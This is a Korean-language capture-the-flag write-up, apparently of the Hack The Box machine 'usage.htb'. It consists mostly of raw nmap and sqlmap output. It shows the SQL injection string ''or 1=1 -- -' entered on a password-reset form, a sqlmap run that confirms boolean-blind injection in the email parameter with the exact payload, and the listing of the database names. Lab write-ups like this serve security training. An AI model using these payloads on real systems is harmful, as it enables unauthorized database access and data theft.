❯ sudo nmap -sV -sC 10.129.254.153
Password:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-04 18:26 +0900
Nmap scan report for 10.129.254.153
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.81 seconds
80 port, 22 port open
http://{ip}
여기서 Reset Password로 간다.
'or 1=1 -- -
해당 구문 입력 시 SQL Injection이 터진다.
Sqlmap으로 injection을 해보자.
❯ sqlmap -r sqli -p email -level 5 -risk 3 -technique=B -batch --dbs
___
__H__
___ ___[,]_____ ___ ___ {1.9.7#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:36:05 /2025-07-30/
[21:36:05] [INFO] parsing HTTP request from 'sqli'
[21:36:05] [WARNING] provided value for parameter 'email' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[21:36:05] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[21:36:11] [INFO] testing if the target URL content is stable
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[21:36:16] [WARNING] heuristic (basic) test shows that POST parameter 'email' might not be injectable
[21:36:17] [INFO] testing for SQL injection on POST parameter 'email'
[21:36:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:42:34] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:47:32] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[21:53:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[21:53:38] [INFO] POST parameter 'email' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
[21:54:02] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[21:54:02] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 335 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=1jJx6JkMDPlB92423uXJRsUy0vX87QBzTrm7VDaB&email=' AND 6689=(SELECT (CASE WHEN (6689=6689) THEN 6689 ELSE (SELECT 8425 UNION SELECT 8222) END))-- qpEN
---
[21:54:59] [INFO] testing MySQL
[21:55:04] [INFO] confirming MySQL
[21:55:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[21:55:19] [INFO] fetching database names
[21:55:19] [INFO] fetching number of databases
[21:55:19] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:55:19] [INFO] retrieved: 3
[21:55:37] [INFO] retrieved: information_schema
[22:00:58] [INFO] retrieved: performance_schema
[22:06:08] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
[22:09:13] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 285 times
[22:09:13] [INFO] fetched data logged to text files under '/Users/aarin/.local/share/sqlmap/output/usage.htb'
[*] ending @ 22:09:13 /2025-07-30/